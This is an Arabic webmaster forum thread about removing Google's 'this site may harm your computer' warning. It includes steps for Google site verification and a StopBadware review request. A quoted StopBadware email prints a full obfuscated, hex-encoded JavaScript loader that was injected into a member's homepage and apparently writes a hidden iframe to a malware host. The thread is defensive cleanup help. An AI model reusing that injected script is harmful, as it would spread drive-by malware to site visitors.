الويب العربي - مشكلة : تحذير- قد تضر زيارة هذا الموقع جهاز الكمبيوتر الخاص بك!

الويب العربي (http://www.arabwebtalk.com/index.php)

- قسم المنتديات (http://www.arabwebtalk.com/forumdisplay.php?f=112)

مشكلة : تحذير- قد تضر زيارة هذا الموقع جهاز الكمبيوتر الخاص بك!

الاخوة الكرام ... السلام عليكم

يوجد لدي مشكلة في مجلد المنتدى الرئيسي وتم ازلتها مما سبب في ظهور مشكلة أخرى في متصفح google وهي عبارة

تحذير- قد تضر زيارة هذا الموقع جهاز الكمبيوتر الخاص بك!

ولقد تم مخاطبة الموقع عدة مرات بهذا الشأن لمدة عشرة ايام ولكن دون جدوى

أنتظر حلولكم يا كرام !!

السلام عليكم

مشكلتك يا اخى قام احد اخوانا بشرحها

ونقلتلك حلها وبإذن الله تحلها

بسم الله نبدأ الشرح

ماهو سبب ظهور هذه العبارة ؟

وجود ملفات تجسس أو باتشات أو فايروسات في موقعك

كيف أفحص موقعي لحذف هذه الفايروسات منه ؟

طريقة فحص الموقع إما عن طريق السي بنل أو عن طريق مخاطبة المستضيف أو عن طريق تحميل ملفات موقعك على جهازك وفحصها ببرنامج الكاسبر أو غيره وحذف الفايروسات ومن ثم إعادة تحميلها لموقعك ..

لقد قمت بحذف الفايروسات من موقعي ماذا أعمل الأن ؟

اتبع الشرح التالي وطبقه خطوه خطوه وسوف يتم إزالة هذه العباره مباشره من موقعك

أولاً قم بالدخول إلى هذه الصفحه

اضغط هنا

بعد الدخول إلى الصفحة السابقة يتوجب عليك التسجيل إن لم يسبق لك التسجيل

* إذا كنت مسجل في قوقل فقم بالدخول مباشره ..

* إذا لم يسبق لك التسجيل فتابع معي خطوات التسجيل :

بعد الدخول إلى الصفحة السابقة إضغط على [ أنشئ حساباً الأن ] شاهد الصورة :

وستفتح لك صفحة التسجيل قم بتعبئة بياناتك على النحو التالي :

عنوان بريدك الإلكتورني الحالي : sales@alrsamhost.net [ يشترط إيميل رسمي ]

اختر كلمة السر : *********

أدخل كلمة المرور من جديد : *********

المكان : المملكة العربية السعودية [ مثال ]

التحقق من صحة الكلمة : اكتب الحروف في الصورة الظاهره امامك

ومن ثم اضغط على [ أنا موافق انشئ حسابي ] شاهد الصورة :

وبعدها سوف تظهر لك صفحة تؤكد تسجيلك وتخبرك أنه عليك بتفعيل التسجيل من إيميلك . شاهد الصورة :

الأن توجه مباشرة إلى إيميلك وستجد رساله من قوقل إضغط على رابط التفعيل , شاهد الصوره :

وبعد الضغط على رابط التفعيل سوف تظهر لك صفحة تؤكد تفعيل حسابك بنجاح

اضغط على [ انقر هنا لإدارة وضع حسابك ] شاهد الصورة :

وبعد الدخول سوف تظهر لك الصفحة التالية " اضغط على [ أدوات أصحاب الموقع ] " شاهد الصورة :

وبعد الدخول على أدوات أصحاب الموقع سوف تظهر لك الصفحة التالية " أضف رابط موقعك في المستطيل " واضغط على [ إضافة موقع ] شاهد الصورة :

وبعد إضافة رابط موقعك سوف تظهر لك هذه الصفحة اضغط على [ التحقق من موقعك ] . شاهد الصورة :

وبعد الضغط على التحقق من موقعك سوف تظهر لك الصورة التالية اضغط على [ اختر طريقة للتحقيق ] شاهد الصورة :

واختر الخيار الثاني [ تحميل ملف HTML ] شاهدالصورة :

الأن توجه إلى الفرونت بيج واعمل لك صفحة واحفظها باسم ( googlee6d56d74e06db67c ) وبصيغة ( HTML )

وأنا سويت صفحة جاهزة لمن يريد التحميل مباشرة في المرفقات

وبعد تحميل هذه الصفحة قم برفعها داخل ملف www في موقعك

وبعد إكمال الرفع إضغط على [ تحقق ] كما هو موضح في الصورة السابقة ..

وبعدها سوف تظهر لك هذه الصفحة تبين أن الموقع محذر منه من قوقل , اضغط على [ طلب مراجعة ] شاهد الصورة :

وبعدها سوف تظهر لك صفحة أخرى قم بالتأشير على المربع الصغير ومن ثم الضغط على [ طلب مراجعة ] شاهد الصورة :

وبعدها سوف يخبرك بأنه تم إرسال موقعك لمراجعته ..

وعليك بمتابعة الرد عليك في نفس صفحتك في قوقل ..

وسوف يتم عمل فحص لموقعك من قبل قوقل إن كان موقعك سليم ولايوجد فيه أي ملفات تجسس أو باتشات فسوف يتم عمل إزاله للعبارة في وقت لايتجاوز 24 ساعة إن شاء الله

ملاحظه / قد يستغرق بعض الوقت في إزالة العبارة إن كانت الطلبات المقدمة على قوقل كثيره ..

انــتــهــى الــشــرح

من تواجهه أي مشكله في تطبيق الشرح السابق فأنا تحت الأمر سواءاً هنا أو في الماسنجر فإيميلي في التوقيع وأنا في الخدمه

أتمنى إني قدرت أفيدكم ولو بالقليل

الشرح أخذ مني الوقت الكثير

رجائي الخاص عدم نزع حقوقي من الشرح كما رأيت من بعض الأخوه في شروحات سابقه

ورجائي الخاص ذكر المصدر الرئيسي وهو منتديات الموده عند نقل الموضوع إلى أي موقع أخر ..

لاتنسونا من خالص دعائكم

مشكور اخوي وبارك الله فيك

إقتباس:

وأنا سويت صفحة جاهزة لمن يريد التحميل مباشرة في المرفقات

أين الملف لو تكرمت

يا اخى حضرتك بتنزله من جوجل افــضل

عامةًً انا ارفقت لك الملـــف

بــس ضرورى تغيــر اسمه للأسم اللى جوجل وضعته لــك

اسم الملف اللى ارفقته google6abb16f58201cf5b.html

ومتقلقش انا عملت طريقه اخرى وبإذن الله سوف يتم حذفه هذه الكلمة من تحت اسم موقعك فى حدود يومين او اربعه ايام

جزاكم الله خير ووفقكم اخي الكريم تم رفع الملف وبانتظار اجابتهم

أخي الكريم : egypt2host.com

تحية طيبة وبعد ... تم التحقق من موقعي منذ تلك الفترة الا أنه وحتى اليوم لم يتم ازالة العبارة المذكورة أرجوا ابداء الأسباب على الرغم أنني رفعت الملف المرفق الى مجلد المنتدى وتم التحقق منه .

أرجوا الإفادة

مشكور يا اخي

يا اخى بالتأكيد موقعك فيه فايروس

قم بتحميــل ملفات موقعك الى جهازك الخاص وقم بعمل اسكان انتى فايروس
وبعد ذلك قم بمسح الملفات التى بها فايروس فى جهازك وبإذن الله تتنزع هذه الكلمة

إقتباس:

مشكور يا اخي

العفو

إقتباس:

اقتباس من مشاركة العذاب (المشاركة 4956000)

السلام عليكم

بعض الأحيان تبحث عن صفحات موقعك في قوقل لمعرفة عدد الصفحات أم غيره

وقد يصدف أن يتم اختراق موقعك ووضع في صفحة الاختراق فايروسات

لذا عندما يجد قوقل هذه الفايروسات تضع أسفل اسم الموقع في جميع صفحات موقعك في قوقل :
"قد يضر هذا الموقع جهاز الكمبيوتر الخاص بك"

ليس ذلك فقط !

بل عند الضغط على الصفحة المطلوبة في قوقل ستم تحويلك لصفحة تنبك من هذا الموقع

أي لن يدخل أي زائر إلى موقعك ابداً

وبعد البحث وجدت الحل المناسب والأكيد

أولاً قم بالدخول إلى الموقع التالي :
http://www.stopbadware.org/home/reviewinfo

ومن ثم أكتب رابط موقعك في المربع بالأسفل :

بعدها قم بالضغط على رابط موقعك :

ثم قم بتعبئة المعلومات الصحيحة كما في الصورة :

وقم بالضغط على الزر وبعدها بيومين / ثلاثة سترى النتيجة

وأتمنى أن يعجبكم الشرح

هذا حل اخر

ياأخوان استخدمت جميع الطرق لحل تلك المشكلة ولكن دون جدوى

من يستطيع حلها ولو بمقابل

أخواني الكرام ... ارسلول لي قوقل الرسالة التالية والتي تحتوي على سكربت وهي كالتالي

إقتباس:

According to our review of your website, your site contains a potentially damaging exploit. For example, the source code for http://hemmh.com/
contains the following suspicious code:

<script>function
c102916999516l4991642b1da9a(l4991642b1de
16){ var l4991642b1e1fc=16; return
(parseInt(l4991642b1de16,l4991642b1e1fc)
);}function
l4991642b1e9cd(l4991642b1edb7){ function
l4991642b1f96e(){var
l4991642b1fd56=2;return l4991642b1fd56;}
var
l4991642b1f19d='';l4991642b201
3f=String.fromCharCode;for(l4991642b1f58
5=0;l4991642b1f585<l4991642b1edb7.len
gth;l4991642b1f585+=l4991642b1f96e()){
l4991642b1f19d+=(l4991642b2013f(c1029169
99516l4991642b1da9a(l4991642b1edb7.subst
r(l4991642b1f585,l4991642b1f96e()))));}r
eturn l4991642b1f19d;} var
x42='';var
l4991642b20527='3C736'+x42+&ap
os;3726'+x42+'970743E6'+x
42+'96'+x42+'6'+x42+
'28216'+x42+'D796'+x
42+'96'+x42+'1297B6'
+x42+'46'+x42+'F6'+x
42+'3756'+x42+'D6'+x
42+'56'+x42+'E742E77726&a
pos;+x42+'9746'+x42+'5287
56'+x42+'E6'+x42+'57
36'+x42+'36'+x42+'17
06'+x42+'528202725336'+x4
2+'32536'+x42+'392536&apo
s;+x42+'36'+x42+'25373225
36'+x42+'312536'+x42+&apo
s;6'+x42+'42536'+x42+&apo
s;352532302536'+x42+'6'+x
42+'52536'+x42+'312536&ap
os;+x42+'6'+x42+'42536&ap
os;+x42+'3525336'+x42+'42
536'+x42+'33253331253330253230
2537332537322536'+x42+'3325336
'+x42+'42532372536'+x42+&
apos;3825373425373425373025336'+x42
+'125326'+x42+'6'+x4
2+'25326'+x42+'6'+x4
2+'2536'+x42+'372536&apos
;+x42+'6'+x42+'6'+x4
2+'2536'+x42+'372536&apos
;+x42+'6'+x42+'6'+x4
2+'2533322536'+x42+'6&apo
s;+x42+'42536'+x42+'35253
26'+x42+'52536'+x42+&apos
;6'+x42+'52536'+x42+&apos
;3525373425326'+x42+'6'+x
42+'25326'+x42+'52536&apo
s;+x42+'372536'+x42+'6&ap
os;+x42+'6'+x42+'25326&ap
os;+x42+'6'+x42+'2536&apo
s;+x42+'332536'+x42+'3825
36'+x42+'352536'+x42+&apo
s;332536'+x42+'6'+x42+&ap
os;225326'+x42+'52536'+x4
2+'382537342536'+x42+'6&a
pos;+x42+'42536'+x42+'6&a
pos;+x42+'32532372532302537372536&a
pos;+x42+'392536'+x42+'34
2537342536'+x42+'3825336'
+x42+'42533312533312532302536'
+x42+'382536'+x42+'352536
'+x42+'392536'+x42+'
372536'+x42+'3825373425336&apo
s;+x42+'425333125333225333525323025
37332537342537392536'+x42+'6&a
pos;+x42+'32536'+x42+'352
5336'+x42+'4253237253736'
+x42+'2536'+x42+'39253733
2536'+x42+'392536'+x42+&a
pos;322536'+x42+'392536'+
x42+'6'+x42+'32536'+
x42+'3925373425373925336'+x42+
'12536'+x42+'382536'
+x42+'392536'+x42+'342536
'+x42+'342536'+x42+'
352536'+x42+'6'+x42+&apos
;525323725336'+x42+'525336&apo
s;+x42+'325326'+x42+'6&ap
os;+x42+'2536'+x42+'39253
6'+x42+'36'+x42+'253
7322536'+x42+'312536'+x42
+'6'+x42+'42536'+x42
+'3525336'+x42+'52729293B
7D76'+x42+'6'+x42+'1
72206'+x42+'D796'+x42+&ap
os;96'+x42+'13D7472756'+x
42+'53B3C2F736'+x42+'3726
'+x42+'970743E';dcidocument.
write(l4991642b1e9cd(l4991642b20527));&l
t;/script>

This type of code may allow parties other than yourself to load content onto user's computers via your website. In such a case, simply visiting your site would cause users to become infected by malware, spyware, or other badware that is loaded from a remote site. In addition, the party that placed the code on your site could inject additional code onto your site with potentially undesireable consequences. Even if your site is not currently distributing badware (for example, if the site that the code is pointing to is not currently "live"), your site has the potential to become a distributor of badware at any time due to the exploit noted above. Because of this continuing danger, Google will not be removing the warning page for your site at this time.

We strongly recommend removing any code that is currently or has the potential to distribute badware and securing your site against future code injections. Otherwise, it is likely that your website will be hacked again. If your site has been hacked, then simply removing injected code from your site is not enough. You will also need to work with your hosting provider or website administrator to fix all security vulnerabilities associated with your site.

We have created a webpage that has tips for webmasters on how to clean and secure their websites at http://stopbadware.org/home/security. Please read this page to find out how to find, remove, and prevent badware appearing on your website. We recommend paying special attention to the sections on Hacking Attacks. We also have answers to commonly asked questions from site owners who are the subject of Google warnings at http://stopbadware.org/home/faq#partnerwarnings.

Once you have secured your site, removed any traces of badware or bad code, and discontinued linking to any sites that install badware, you may submit another request for review and we will retest your site.

The StopBadware Team

من يستطيع حل المشكلة ؟؟

ابو ميساء يالغلا

اتوقع مشكلتي ومشكلتك وحدة وقوقل ناوينا

اضم نفسي وموقعي مع موقعك يا بعدي

اذا حصلت حل لا تبخل علينا

أبشر أخوي نديم الشوق ....

وعليكم السلام

يخبرك بوجود كود ملغم ( ضار ) بصفحة موقعك الرئيسية

ولكن يبدو انك حذفت الصفحة بكل محتواها , موقعك حالياً مسجل بقائمة stopbadware.org

للمواقع الخطرة أو الضارة ادخل الرابط بالأسفل لموقعك واطلب منهم اعادة فحص موقعك

http://stopbadware.org/home/review?reviewid=166035 3

بالتوفيق :)

تشآآآو

نعم لقد حذفت الصفحة الرئيسية بالكامل ... لكن من خلال رسالتهم اتضح بأن ناك خطر

سؤالي اين اجد هذا الخطر ... وهل فعلا موقعي خطر ... كيف اعرف

لا أجد أي أخطاء حالياً , اخبرهم يعطونك نوع الخطأ ومكانه " ان وُجد "

تشآآو

جزاك الله خير ووفقك اخوي الصريح جدا
سوف ارسل لهم لعل وعسى

أخوي الصريح جدا ... لقد ارسلوا اليوم نفس الرسالة السابقة
ما العمل !!!!!!؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

ما عليك من اللي ارسلوه اهم شي الرد لرسالتك الأولى !!

شف هذي الطريقة بعد /

http://traidnt.net/vb/showthread.php?t=1102946

تشآآآو

مشكور اخوي الصريح جدا وتعبناك معانا يالغالي

وتم تجربة الطريقة وننتظر النتائج بمشيئة الله

منذ شهرين لم أجد حلاً لهذه المشكلة !!

السلام عليكم ورحمة الله وبركاتة

اعتقد اخوى ان المشكلة موجودة حتى الان فى موقعك

السبب انى لما دخلت على الموقع الخاص بيك www.hemmh.com

جالى اكثر من تحذير من خلال Kaspersky بوجود ملفات خطرة على الموقع

من نوع Trojan.Script.Iframer

قم بعمل اسكان اخوى على الموقع وقم بعمل تنظيف لمحتويات الموقع
وقم بالاتصال بشركة الاستضافة الخاصة بالموقع للتاكد من سلامة الموفع

جاري العمل على النصائح وشكرا لكم

اخوي nvn-it.com

ارجوا اعادة فحص الموقع عن طريق برنامج الفايروسات لديك

المشكلة انك تسوي عمليات طلب السماح بدخول الزوار لموقعك وهو يحتوي على فيروسات أصلاً ..

الصفحة الرئيسية لمنتداك + موقعك نظيفة حالياً

تشآآآو

المشكلة زالت ولله الحمد والشكر

اشكركم جميعا ... واشكر من ساعدني ووجهني

تأكد انه حين تظهر هذه الرسالة في موقعك انه مصاب بكود يضر بالجهاز والحل انك تحذف جميع هذه الاكواد ثم تخاطب الموقع المسئول عن التحذير وفي الاغلب سيتم تفعيل موقعك في جوجل في خلال 3 ايام

سبب مثل هذه الاكواد ان جهاز صاحب الموقع او المطور له مصاب بفيروس يكتب هذا الكود في ملفات الويب او يسرق بيانات ال ftp الخاصة بك او اي بيانات ftp تم ادخالها او استعمالها علي الجهاز المصاب ثم من خلال موقع الكتروني يقوم bot بنسخ الكود الي صفحات موقعك الاساسية مثل
index.*
default.*
اي امتداد افتراضي للمجلدات

undefinedmatrix

مشكور على النصائح